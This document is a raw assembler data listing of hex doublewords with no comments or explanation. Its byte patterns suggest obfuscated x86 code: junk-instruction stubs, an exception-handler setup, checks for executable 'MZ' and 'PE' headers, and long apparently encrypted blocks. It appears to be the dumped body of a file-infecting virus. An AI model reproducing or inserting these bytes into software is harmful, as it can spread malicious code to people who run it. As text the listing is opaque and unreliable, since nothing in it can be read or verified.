		dd 0F3171F0h, 81h, 6A966100h, 3E85200h,	20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 66FEC352h, 5038F381h
		dd 0F75BD89h, 0B5FF0606h, 609A4A4h, 166DB589h, 0B70F0606h
		dd 0FD95FFD8h, 8B06061Fh, 6318D9Dh, 0A4B5FF06h,	0E80609A4h
		dd 0Ah,	7E334F45h, 4537861Bh, 0B70F8AC9h, 95FF5BFBh, 6062B19h
		dd 22F18D89h, 0BD830606h, 6062F65h, 67840F02h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D9BBC353h, 813E6EBBh, 0BF666067h, 8E91C50h
		dd 0
		dd 77B368BFh, 61AA03B1h, 15F1858Bh, 85890606h, 6061D61h
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 7888C355h, 806D85E8h, 85C7C2E3h
		dd 606034Dh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 88C35747h
		dd 58072864h, 0B2ACE6C5h, 2499BD33h, 0E7810606h, 1C856D9h
		dd 0FFF321E9h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0D531D0B5h, 6617492Bh
		dd 0F78AEB81h, 6AC18Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0F7369AC3h, 0EE9ABh, 3B100000h
		dd 0B8943DFDh, 432489AFh, 1488DE04h, 2FB58D89h,	9E80606h
		dd 17000000h, 0C8CC9F5Fh, 0CEF4BE5Dh, 0BB19D8Bh, 895E0606h
		dd 61241B5h, 28C68106h,	89000063h, 62E798Dh, 8BD23306h
		dd 0C0811604h, 4DA2737h, 286D8589h, 0C0810606h,	23DA1C62h
		dd 206550B9h, 19F0814Bh, 8B27CB06h, 600AD8Dh, 16048906h
		dd 4870Fh, 0BB660000h, 81664BC7h, 83097ACBh, 9D8B04EAh
		dd 60601B5h, 9D80FA81h,	850FFFFFh, 22h,	0C810Fh, 8A0F0000h
		dd 6, 12AD9589h, 24E90606h, 7F000000h, 41E3D539h, 5774965Ch
		dd 8CE99F87h, 9AFFFFFFh, 0F334AB4Ch, 0DA9E1FF8h, 0A2E8DF6Ch
		dd 77CA353Ch, 0BA841F3Eh, 0F00E6000h, 0EA81h, 0C283F000h
		dd 0D1958914h, 83060610h, 858D14EAh, 60B351Ch, 35FF6450h
		dd 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 0A18589C8h, 306062Ch, 0B70F3C40h, 95890650h,	60611E9h
		dd 8950508Bh, 61B2195h,	0F80506h, 508B0000h, 89D1030Ch
		dd 6206195h, 8500306h, 33FD9589h, 8F640606h, 5,	4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 3415BD83h, 0F000606h, 2484h,	0C185C600h, 47060601h
		dd 9AA7D268h, 0DDB5FFD4h, 8D06061Bh, 97A7C85h, 6AD0FF06h
		dd 89D0FF00h, 6018185h,	8DD38B06h, 0B36208Dh, 8E906h, 6C120000h
		dd 888A1DD7h, 8D893A00h, 60628DDh, 0AAD6F281h, 85C77E5Eh
		dd 6061111h, 70D4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 7C35141h, 81663F34h, 0C79759E3h, 62E4985h
		dd 6, 7DBD8900h, 0FF060611h, 61165B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 453465DDh, 0BBC18B68h, 183B6339h, 79195FFh, 6A0606h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0D7C1EDC3h, 0BD501A18h, 1A199D29h, 6A0606h, 1AC995FFh
		dd 0C08B0606h, 406E6BEBh, 0EAC15688h, 0ED08F60Fh, 74DBD695h
		dd 0B6057ADAh, 1F8CDD9Fh, 5AED1702h, 0AA65D3AAh, 0DAB04454h
		dd 873DAE4Eh, 0ADEE1945h, 17EC2813h, 0B4296227h, 0B952A6F8h
		dd 5D62D3h, 70212AF9h, 0D677D216h, 2B078195h, 2890C753h
		dd 0E5914DA3h, 878261h,	0EA00D883h, 6C6C81D8h, 8773FFA9h
		dd 48F5786Bh, 0B0A53E5Dh, 0CD634F75h, 498D8D02h, 8B060B37h
		dd 62D0D9Dh, 6870F06h, 81000000h, 8C766ECFh, 0DD8D8964h
		dd 89060628h, 62419BDh,	1185C706h, 5C060611h, 66000065h
		dd 85C7DF8Bh, 6062E49h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1CC35545h
		dd 31395180h, 625619Dh,	0EDB5FF06h, 0E8060625h,	8, 47DF7182h
		dd 5409D14Eh, 23ED8589h, 0FF580606h, 6079195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 2FDC1662h, 9221FC1Ch, 9E9C1h, 83610000h, 9CACB84Bh
		dd 6AB2103Ah, 0C995FF00h, 8B06061Ah, 5D5FEBC0h,	0D8EECA32h
		dd 0F8319D85h, 0AFEA613Dh, 70A636EBh, 42552965h, 0D98B9A8Ch
		dd 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 18F5C8F4h,	0CEB84DA8h
		dd 0E3A54313h, 53162391h, 0CC1CDF00h, 0AA9EAF57h, 79D9FD7Fh
		dd 0B3F3730h, 8791BF3Fh, 5BCFDF69h, 9540912Eh, 0D5553A4Bh
		dd 41F1CA37h, 9F280C22h, 0BA0D3F1Fh, 95B885C0h,	0F99BBF43h
		dd 90456645h, 0B3D63445h, 1A31F71Fh, 12B11011h,	8FDE1001h
		dd 0D16D3445h, 556DF717h, 5564A85Ah, 9C8F804Eh,	18B0ECF2h
		dd 0B0AAB58Ah, 10D240D1h, 95EAE5F8h, 9A183443h,	970389C6h
		dd 0E75B3243h, 18FE645Ch, 97D58C85h, 16E23445h,	95B31814h
		dd 21BBA9C8h, 4092324Dh, 2E356C1Eh, 955D30F0h, 0C3BA4045h
		dd 97D58C16h, 16E23445h, 95B31814h, 3C8AA9C8h, 4092324Dh
		dd 14006C1Eh, 53D0E9CFh, 0B6A489CEh, 1FB03243h,	0C16B5E9Dh
		dd 93B537ADh, 50801445h, 0B739BD1Fh, 0B7F2B541h, 935B2041h
		dd 50FF7645h, 0FE43BF5Dh, 126D3276h, 42DDEE8Fh,	9CDE9C48h
		dd 936900C1h, 52231F45h, 9C5D3257h, 2E2EEBF2h, 95D014B4h
		dd 0B4EF3B45h, 0F5B53445h, 0BD48D5C4h, 936920ACh, 93A7DC45h
		dd 0F0783445h, 0A5EDE804h, 0EB64E998h, 6AE99F17h, 0BA8EC581h
		dd 95CF0DC8h, 93D36F43h, 0F9B43462h, 90B36745h,	0B3AD3445h
		dd 1A8DF71Eh, 126F1019h, 85B11001h, 0D0DA3445h,	0A789F716h
		dd 95363B7Fh, 185B3445h, 95848DC8h, 93DADC43h, 57D83445h
		dd 205B13D6h, 0F30E78F8h, 7B0D4768h, 93B63448h,	0D4AEA578h
		dd 0A02C3D21h, 796C344Dh, 0CA0A6BEFh, 0FD5EB1C8h, 93B0324Ch
		dd 936EDC14h, 0CA963445h, 0DFD26D86h, 0D72C3061h, 93CD3061h
		dd 0C22A3445h, 24DD1786h, 0C3675B71h, 18BDCBC3h, 9C76B194h
		dd 935BB9C1h, 9E28BD45h, 12D03277h, 120D637Dh, 0B7303BBEh
		dd 98DA3445h, 955DC5F8h, 0EB375243h, 9C593641h,	93AE6AC1h
		dd 93DBDD45h, 0D83E3445h, 2722183Fh, 613A1E1Bh,	0F5CDBE60h
		dd 0F32A0CC4h, 9317B14Ah, 2CCB3445h, 0EB562598h, 1664DC47h
		dd 93B5347Bh, 7B88342Fh, 936D3446h, 0C9756E65h,	977F60CCh
		dd 978970C4h, 93D63458h, 53A86607h, 0BFB7868Ah,	0FB21FB3Ah
		dd 0EBEC521Ah, 9C1D3443h, 935B39C0h, 1E26CD45h,	95D03650h
		dd 9369C2ACh, 930BC145h, 0F99C3544h, 90856645h,	0B3B63445h
		dd 1A01F71Fh, 12A91011h, 8AD21001h, 0D16B3445h,	424DF717h
		dd 35E733B6h, 936BB74Ah, 63D3445h, 955D2734h, 0FD46B1C8h
		dd 93BC324Ch, 9368DC12h, 0CC953445h, 0EF536B86h, 0D7EC3061h
		dd 93A03061h, 0C41C3445h, 790CF686h, 0B927A16Ch, 120D3243h
		dd 9C678C8Ah, 93DA36C4h, 6C97BF45h, 0C60C5295h,	9C9BB190h
		dd 93AF5CC1h, 0AB57C845h, 91690923h, 93DCB14Ah,	12D53445h
		dd 936D3449h, 93B0BB4Ah, 1ED03445h, 95AB3C3Ch, 0F5D04CC4h
		dd 9C116B78h, 93B766C1h, 0C2DA5E45h, 936D37ADh,	50EF1445h
		dd 0B717BD1Ch, 0B7E9B541h, 93D62F41h, 503A7545h, 0FDB6E19Ch
		dd 333504h, 0CEE0BD14h,	0CCB0325Bh, 9354DC25h, 1E853445h
		dd 0D9034215h, 6FC91C9Ch, 0C84E340Ah, 8A671D8Fh, 0C86B326Bh
		dd 0F5D7CACEh, 0F3C70CC4h, 9322B14Ah, 93BC3445h, 9368DC14h
		dd 0CA953445h, 0DF536D86h, 0D7EC3061h, 93AC3061h, 0C21A3445h
		dd 0C4AFEB86h, 96927350h, 14B4B523h, 91CDB425h,	0CD5F3BADh
		dd 0F96D3445h, 905E6145h, 0B35B3445h, 1AF0F718h, 12D21029h
		dd 846F1001h, 0D6B53445h, 0BC85F710h, 61EC245Ch, 0AA05A44Dh
		dd 9523B523h, 16A2F445h, 93D63468h, 7B3C342Fh, 93B53446h
		dd 0CC196B65h, 974948CCh, 979270C4h, 935B345Fh,	456E6302h
		dd 0D0CCC903h, 6E0D927h, 95B332B8h, 93DB5AACh, 926D8A45h
		dd 9B5F4A44h, 6C5B3445h, 0DB0E8108h, 6F0CD24Eh,	0FD80B1C8h
		dd 0F5D5324Ch, 0B8EED4C4h, 678EB523h, 43495578h, 16E2EAC5h
		dd 0B5293B85h, 0F5D63444h, 560DE7C4h, 7B8DB4B9h, 93ABB14Ah
		dd 93073445h, 93B5DC13h, 0CD7B3445h, 0E7246A86h, 0D7573061h
		dd 937D3061h, 0C5F33445h, 71CBF686h, 0E78C37FAh, 96CEB404h
		dd 0D7DE3B36h, 1AAD3445h, 95CB19C8h, 9413B443h,	63313B16h
		dd 0F9DA3445h, 90856345h, 0B3B63445h, 1A04F71Ah, 12A91039h
		dd 89D21001h, 0D46B3445h, 0C00BF712h, 0B9C2332Dh, 95E73B1Fh
		dd 0B8B63445h, 9548D9C8h, 0DA38BF43h, 0F5D03266h, 96E40CC4h
		dd 932EB14Ah, 16F33445h, 956B3BACh, 0FBB04CC5h,	93D0B14Ah
		dd 93C73445h, 93D5DC17h, 0C94B3445h, 0C73C6E86h, 0D75B3061h
		dd 93753061h, 0C1F43445h, 40991086h, 6262C98h, 95D01654h
		dd 9813B523h, 16BA11BAh, 93DA341Ch, 7B3C342Fh, 93B63446h
		dd 0CA986D65h, 978978CCh, 97F270C4h, 936B3458h,	3F766504h
		dd 773C393Ch, 0C90F4A2Dh, 1A4ABE2Ch, 954A11C8h,	9390DD43h
		dd 93BC3445h, 9368DC10h, 0CE953445h, 0FF536986h, 0D7EC3061h
		dd 93AF3061h, 0C61E3445h, 110B1C86h, 18178923h,	9576CDC8h
		dd 93B58C43h, 1E513445h, 956B1448h, 87B381CCh, 8AB23243h
		dd 2BAD3445h, 93D63444h, 936B3CADh, 6CB0C945h, 0EC2465FAh
		dd 0C9B2B5A4h, 0CA915390h, 934BDD15h, 1BB13445h, 0EB056D7h
		dd 0CD860791h, 77723A4h, 9753C192h, 3ED0B961h, 1EB03F72h
		dd 98663CC8h, 0C68E8C43h, 16D54323h, 956D3428h,	6D8AFB6Eh
		dd 5F4A4492h, 5B34459Bh, 0E81086Ch, 0CD24EDBh, 80B1C86Fh
		dd 0D5324CFDh, 5E983F5h, 6A58A4F3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 5D23C352h
		dd 15614E17h, 0BD8960A1h, 6061579h, 11E9h, 0C232C500h
		dd 0E85B8161h, 1F67EB8Eh, 8D01FD77h, 2361672Fh,	61E9D95h
		dd 0FC00B06h, 4484h, 0A820F00h,	60000000h, 85895951h, 60603A1h
		dd 0D2B58D61h, 6A06064Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 671BC357h, 3B82D0Fh
		dd 0B5000000h, 89E6FF6Fh, 6254185h, 6A4006h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0C08B45C3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2C35242h
		dd 0BC0A9E0Fh, 66F6020Ch, 83CFD7BAh, 630D1BDh, 9750006h
		dd 4B5BD83h, 74000606h,	8B535019h, 403B8C0h, 85890000h
		dd 60620B9h, 0B2C89D8Dh, 0D3FF0608h, 0BD83585Bh, 60604B5h
		dd 50177400h, 403B853h,	85890000h, 60620B9h, 0AF699D8Dh
		dd 0D3FF0608h, 0D4BB585Bh, 8B6381CCh, 603C99Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 5369F3D3h, 0BA2FBF9Dh, 6D198804h, 0EE9h, 0C08F4D00h
		dd 2A7BDF75h, 76C428DBh, 8B3B4E11h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 51EAABBAh
		dd 8AF26F63h, 8D8B5A52h, 6061509h, 8B8D8D61h, 0E9060B3Fh
		dd 14h,	88BDD70Ch
		dd 657B308Dh, 0C9D66382h, 93D529E5h, 5F95EC66h,	2B699531h
		dd 8D890606h, 60628DDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0AAC35040h, 0C2E5CF9h, 85C70574h, 6061111h
		dd 6884h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	72C35141h, 85C76C40h, 6062E49h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A2C35040h
		dd 8BE305A9h, 60381BDh,	3DB5FF06h, 6006062Dh, 48E0Fh, 0B9660000h
		dd 9D8B0ED1h, 6063379h,	9195FF61h, 89060607h, 61A9DB5h
		dd 0FF006A06h, 61AC995h, 0EBC08B06h, 0AD4C441Ah, 38E0F099h
		dd 90AA19B9h, 0CBCCF0F5h, 0C33025A0h, 9D18F061h, 0E84C34E6h
		dd 9, 0D1878980h, 0F15DED00h, 0DD858BF2h, 5E060633h, 810CD080h
		dd 70EEC6h, 95095200h, 60623ADh, 81FF335Bh, 1FC8CAC8h
		dd 3E148B7Ch, 0BDC281F9h, 0F736E4Fh, 684h, 419D8B00h, 81060613h
		dd 229CCCEAh, 9A99B869h, 0F2810614h, 45F0FBE6h,	3618D89h
		dd 0F5520606h, 663E048Fh, 8331D6B9h, 0E5B004EFh, 8FC4FF81h
		dd 850FFFFFh, 34h, 0FE8h, 0F4013200h, 17C6A38Bh, 0ACEF0651h
		dd 769CC805h, 26B96656h, 0E9585935h, 26h, 0CA99BD9h, 0D6A4AD79h
		dd 21C272D4h, 0E04E3418h, 0C074CB6h, 1C699D8Bh,	7AE90606h
		dd 48FFFFFFh, 0E8F01160h, 8D8DA9CDh, 60B411Ch, 0EE9h, 52D12900h
		dd 5D99704Ah, 0B9794085h, 8BFA0228h, 61B5985h, 0DD8D8906h
		dd 6A060628h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8940C350h, 2C4EC847h, 0BA660A0Bh
		dd 850F4600h, 6, 3B18CA81h, 85C73DC4h, 6061111h, 70D4h
		dd 0D858B51h, 5B06062Ch, 2E4985C7h, 606h, 0C1BF0000h, 0FF406031h
		dd 60DF9B5h, 13E906h, 9CE0000h,	3D35C1DBh, 78E8D59Ch, 120F4648h
		dd 30E94C40h, 9195FF47h, 0E9060607h, 0Eh, 38C6DAB8h, 87EA09AFh
		dd 3173D178h, 6A8AF6h, 1AC995FFh, 0C08B0606h, 4BFC2FEBh
		dd 0F60C5023h, 2C18A97Fh, 0F6DDF9ADh, 0BB7801CEh, 891BD70Ah
		dd 38BA3E98h, 0B530C7B3h, 0B6B160A8h, 0FBB9EA63h, 545D8E22h
		dd 4E3A7A21h, 14E84Eh, 0F33F0000h, 6881BC95h, 7D3A2395h
		dd 4D860154h, 5A5683D6h, 85898785h, 6061E45h, 6800F5Bh
		dd 89000000h, 60245B5h,	8DC38106h, 2900006Bh, 6178DB5h
		dd 1AB06806h, 830F0000h, 3, 5ED78B66h, 31359529h, 33FF0606h
		dd 0FE9h, 0A95BF000h, 0DB51B2CCh, 0CC40E09h, 9F2E818Ah
		dd 19820F58h, 0E9000000h, 14h, 0EB906041h, 0E761B0F1h
		dd 2F7D1792h, 91BEF017h, 9AFA68F0h, 0C0A1E881h,	0B5090D93h
		dd 6062981h, 0BCC0F081h, 0B501225Ah, 6062341h, 0AED7E881h
		dd 95892B19h, 6062021h,	8B660389h, 3AEB81FEh, 0E95BBDECh
		dd 5, 0FCC17082h, 36C38114h, 895BBDECh,	60F099Dh, 1EE8306h
		dd 0FF7C850Fh, 6660FFFFh, 0E861DA8Bh, 7, 0DB7313BEh, 89D74A33h
		dd 6152D85h, 6E95E06h, 0F3000000h, 0C38EF0C7h, 0C0C68127h
		dd 8000005Ah, 0FF2B78C4h, 0E528B866h, 663E1C8Bh, 0C381D38Bh
		dd 7661EEB6h, 81C1BF0Fh, 5EF46FC3h, 3DBD0175h, 81060616h
		dd 0C89AFF3h, 0A18D8B0Fh, 5306061Ch, 1998D89h, 48F0606h
		dd 0C28B663Eh, 6604EF83h, 81DD8CB8h, 0FFA5B0FFh, 0B9850FFFh
		dd 66FFFFFFh, 63EBD881h, 84B50320h, 67363409h, 15AEA9Ch
		dd 133DA59h, 58103204h,	4DB96BC1h, 45B13625h, 12736A4h
		dd 50713240h, 9F39F9E3h, 135DA8Ch, 577A3208h, 0FD9917h
		dd 727939Fh, 84196907h,	73611CDh, 853F36E8h, 130300Eh
		dd 0FDC9B976h, 21C18F8Bh, 0E303402h, 1306686h, 50305801h
		dd 1303168h, 0C2691240h, 257CBB79h, 2574B314h, 130250Ch
		dd 0C2617304h, 78EED90h, 131CBE8h, 56305880h, 13031A8h
		dd 0C26F1220h, 254CBB4Fh, 2574B30Ch, 1302500h, 0C2677502h
		dd 1C5B58ABh, 0D0C3B3E6h, 7B93DACh, 88303220h, 7154795h
		dd 0D2BAA20Eh, 91C8B854h, 0E9673268h, 1303202h,	5EF36DA0h
		dd 5144EC9h, 51476A1h, 130320Ah, 0D8F3654Fh, 0DF73C40Ch
		dd 0B4B9848Fh, 73626D8h, 257C338Fh, 503058BEh, 13031C8h
		dd 0C2691210h, 257CBB51h, 2574B300h, 1302806h, 0C2617301h
		dd 0E0ABA3EBh, 8A6BFAEAh, 726BB95h, 8D3F6A16h, 130320Eh
		dd 7FDA78Fh, 94013404h,	73620C8h, 8A1CF203h, 7163FF5h
		dd 6B38B926h, 2D86010h,	21303208h, 886AF15Eh, 80341656h
		dd 17341645h, 43303280h, 0EC6CF112h, 823F52E1h,	1303211h
		dd 84B5B9FDh, 60363420h, 0FD78B964h, 108DAF88h,	80613486h
		dd 0ED688E87h, 80566C27h, 0ECF0429h, 130F18Ch, 8F1B104h
		dd 81EF8D0Dh, 843FDB38h, 1303276h, 0E965322Ah, 1303223h
		dd 5CF36F30h, 5145E81h,	5147685h, 1303218h, 9F36744h, 0CE35BFA7h
		dd 94319FE1h, 73612FDh,	6B31739Bh, 2D86008h, 21303204h
		dd 886AF158h, 80341655h, 183416C4h, 43303240h, 6C8FF172h
		dd 0EFBDB451h, 15AFA0Bh, 133DA56h, 5B103202h, 55B968C2h
		dd 45B136A4h, 12A3664h,	53723220h, 0B98F62D3h, 837F9CB8h
		dd 13038EDh, 2A37B302h,	29A0F552h, 82A17F23h, 15A3781h
		dd 133DA70h, 59103210h,	45B96ACBh, 45B13620h, 1273626h
		dd 51703201h, 1E6D2943h, 588DB9ADh, 80363400h, 427BA229h
		dd 42B53D83h, 0F9303204h, 4FE2BF8Fh, 15A3407h, 133DAD7h
		dd 5E103240h, 7DB96DE3h, 45B13634h, 12D362Ch, 56773204h
		dd 275C81C1h, 8224F269h, 0B909098Ch, 1303243h, 13037C9h
		dd 0CE6A7210h, 0E0CFD7A4h, 1415878Dh, 8A513404h, 731DBB4h
		dd 9E8DBF86h, 8C363902h, 0A750AADh, 82448A16h, 8403339Ah
		dd 7363399h, 0E8F1FD29h, 84B50320h, 67363409h, 15AEA9Ch
		dd 133DA59h, 58103204h,	4DB96BC1h, 5E98325h, 0C08BA4F3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8EC35545h
		dd 5850F92h, 0BA000000h, 52F8C9C9h, 2EF58589h, 0C38B0606h
		dd 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h
		dd 982633A9h, 5E265AF1h, 9E27F2EFh, 0B44E6033h,	67A5E4FFh
		dd 9E3DEEF8h, 0E4A3BEA0h, 67203A29h, 0F1A3BA79h, 1B2035DBh
		dd 9E1226D7h, 1D293333h, 98263383h, 0DDB1B6C0h,	157635ADh
		dd 9363BAD6h, 0DD963AFh, 9E203CBDh, 98266483h, 15235935h
		dd 9363AA1Fh, 1DAB634Bh, 9E2D762Fh, 41B3CC03h, 93203586h
		dd 0A1A23C14h, 1526336Ah, 9363AAB0h, 0AACE639Ch, 0D826334Dh
		dd 7A3BEF6h, 0C8203816h, 0DDBFB624h, 677635DFh,	9E15BAFFh
		dd 94E2B033h, 0DDBFB617h, 15763546h, 9363BA23h,	0DD96355h
		dd 9E203CC0h, 9826513Dh, 74AD666Ah, 0CE746464h,	0AB2E4E11h
		dd 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch,	13EF002Bh
		dd 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h
		dd 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h
		dd 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h
		dd 517F6C8Eh, 152637A8h, 9363B488h, 24ABBE9Ch, 2020380Bh
		dd 93h,	71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh
		dd 0B46BCB5h, 0DB8D8D06h, 2B060B46h, 5E983CFh, 8D8DC88Bh
		dd 60B4793h, 14999589h,	9570606h, 606DDBDh, 8D895F06h
		dd 60628DDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	28C35242h, 68F0FE6h, 89000000h,	62569BDh, 1185C706h
		dd 0F8060611h, 6A00005Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch
		dd 17042444h, 45000000h, 0D012C355h, 0B70F44D4h, 4985C7C3h
		dd 6062Eh, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0EBE1C355h, 8A0F50h, 0FF000000h
		dd 60DF9B5h, 0F5958B06h, 0FF060601h, 6079195h, 0FF006A06h
		dd 61AC995h, 0EBC08B06h, 0CB26212Fh, 2C900B02h,	0C3F21EE5h
		dd 135E8F2Bh, 30A67613h, 0C9DCEDAh, 0CC2F8C8Dh,	4CFF5C78h
		dd 6422E99Eh, 0AD636F7Ah, 4D044876h, 6659225Ch,	68536CEBh
		dd 6374726Fh, 74207475h, 7473206Fh, 75747261h, 70h, 13h	dup(0)
		dd 29790000h, 1053Dh, 0CE90000h, 68000010h, 60B4A45h, 0FBFBD0E9h
		dd 4B9268FFh, 0C6E9060Bh, 68FFFBFBh, 60B4D4Dh, 0FBFBBCE9h
		dd 4D8C68FFh, 0B2E9060Bh, 68FFFBFBh, 60B4E5Fh, 0FBFBA8E9h
		dd 4EF768FFh, 9EE9060Bh, 68FFFBFBh, 60B534Dh, 0FBFB94E9h
		dd 55A668FFh, 8AE9060Bh, 68FFFBFBh, 60B56B6h, 0FBFB80E9h
		dd 64F4D5FFh, 49E1BCFDh, 2ABAA1E2h, 0EA682C3h, 0F48466A7h
		dd 9E716D8Dh, 84C52CBCh, 66A70EA6h, 4687EE7Eh, 2F6AD169h
		dd 310E63F8h, 0FCD64DD8h, 0F48C69B9h, 25BD9A6Bh, 0AFC45900h
		dd 374BD379h, 9C34104Fh, 58CF1B13h, 9AFA1631h, 6765C4F6h
		dd 840FC1Bh, 244A4EE3h,	0D9F451D9h, 9F345CB6h, 4DD5B542h
		dd 0EA912A12h, 50D93FC0h, 0D57BBAABh, 0CCFE234Dh, 55564560h
		dd 54B7A4h, 51120000h, 5E56DF6Fh, 0DC83BF12h, 0D3792A47h
		dd 86D2BA4Bh, 0B592D567h, 0FD92B71Dh, 51D97E57h, 0A94ED7BFh
		dd 4DD57D44h, 0D617C21h, 11034BB8h, 9B331150h, 0EC709A4Fh
		dd 76B3B045h, 8234DD5h,	0AC502944h, 5695FBAAh, 7196E27Ah
		dd 0A455D434h, 12FCAh, 0DC830700h, 0D3792A47h, 0E09FBA4Bh
		dd 7D1DE21Fh, 8DDC288Eh, 32F318B0h, 0DA73BF57h,	8AE77C23h
		dd 5A4BD3DFh, 0F5D72672h, 977F4065h, 32C77E07h,	4BD3DF31h
		dd 0B57BDA5h, 6DC4A172h, 0D3DF9BD8h, 3E634B4Bh,	0D3DF48A9h
		dd 0CE341C4Bh, 6738E45h, 0E4AB70E7h, 408213CDh,	89A89CA7h
		dd 7911EE3Dh, 45B69354h, 0D46DD363h, 365F8A55h,	0A0176382h
		dd 0D3280B8Bh, 861EFB4Bh, 6901DE1Fh, 43FD3FE0h,	0FDB7891Eh
		dd 0EEAF51D9h, 0F6EE7707h, 24182990h, 0EE62F71Ch, 5A57DAABh
		dd 74FF723Fh, 5431229Dh, 0D53B33BCh, 658A7289h,	6F57C8A4h
		dd 0BF5479DFh, 47DC27A2h, 0C9FE4A32h, 0EB836122h, 0EA36CEACh
		dd 7250B99Bh, 0F35951DAh, 98300DCEh, 0CA623E0Fh, 60A11864h
		dd 0E4F3EE7Eh, 0EF4E0D66h, 0D522256h, 43240000h, 300B4CB3h
		dd 9F03198h, 0F5D11279h, 0D3B5F65Dh, 22BCDC43h,	147B0BEDh
		dd 0F65DF5D3h, 0D63DCDB5h, 0B920B895h, 0B1B2477Eh, 254DD833h
		dd 0DC83084Bh, 0D3792A47h, 93D2BA4Bh, 84D31FB7h, 6AAB12A2h
		dd 0FD0F58Dh, 4EE6C42Dh, 0E0259CE8h, 4DE5C283h,	0E65AE201h
		dd 27FF1AC1h, 8414FBD8h, 6B103EEBh, 4554FC1Fh, 17BE51D9h
		dd 0D5466182h, 0A70DF54Dh, 0C44C671Eh, 0C8583A45h, 0F8AE473Fh
		dd 0BCDF2B1Ch, 4DD575ABh, 71FB0F34h, 0A4556434h, 10ECAh
		dd 86642500h, 79599A2Fh, 250D4DD5h, 0F23E36BFh,	0F48C699Fh
		dd 780DB46Bh, 4BD3797Bh, 49DE03EBh, 4BD37928h, 3988D4BCh
		dd 6B470857h, 3F524AD3h, 4BD37922h, 3F64CAB2h, 0CC0BA37Eh
		dd 730C58F0h, 0D37EC8CEh, 0C9613E4Bh, 927A3B62h, 35817902h
		dd 0E87109E6h, 8B72F547h, 0C97095FBh, 7C548D22h, 59004BD3h
		dd 0D37CAFC4h, 0E94F374Bh, 0A3A67A9Dh, 0DFA051D9h, 0E7DF68F8h
		dd 0B39B5C81h, 3960D723h, 452D9678h, 0E4034FB5h, 24CBF058h
		dd 0DCEF8763h, 4DD54B87h, 0E61B674Fh, 0DA1BCC51h, 0D9B77857h
		dd 0F5B6DB41h, 9D5E8313h, 68DF2BBBh, 0BAB54527h, 4E0DE2A5h
		dd 5DB0FA8h, 0D700000Ch, 0BEFF66F6h, 0A3E44BE3h, 84C52CBCh
		dd 68A910A8h, 6F8FF686h, 2EBEA06Fh, 10A886C7h, 0F08068A9h
		dd 0D36B4889h, 65FA316Ch, 4DD8320Ch, 69BBFED8h,	505EC487h
		dd 8E4A35Ah, 6D143BA2h,	0D3399BD8h, 17634B4Bh, 0EC53EBC8h
		dd 68891EC5h, 0FC4BD339h, 6975C814h, 0DA07C18Ch, 83615601h
		dd 0D85680EAh, 147A062Dh, 45DDBA8Bh, 0D96FCDDEh, 0EAB899B4h
		dd 853F563Eh, 616F0439h, 0D151D9C4h, 0AABB60E9h, 334DD5E4h
		dd 3570FC0Eh, 0C7A455F5h, 7, 8610604h, 83430000h, 792A47DCh
		dd 0D2BA4BD3h, 6BD56786h, 963BB146h, 0EAAB51D9h, 25BD9A03h
		dd 0D83EA49Ch, 0FBD7984Fh, 96E2DA63h, 0ADD26A47h, 22B70EECh
		dd 4DD565C1h, 0BE47AD95h, 0DC037AC6h, 1AA3331Bh, 6595CE63h
		dd 59414DD5h, 7B58A7F3h, 9AB55AE3h, 0C2B51180h,	0AC6DEF1Bh
		dd 0B5AD36CEh, 77009876h, 7E4337Fh, 0EAC7086Fh,	0C024C952h
		dd 62269946h, 9263EC84h, 1DE1DB5h, 0E45E069h, 0D1F81FFCh
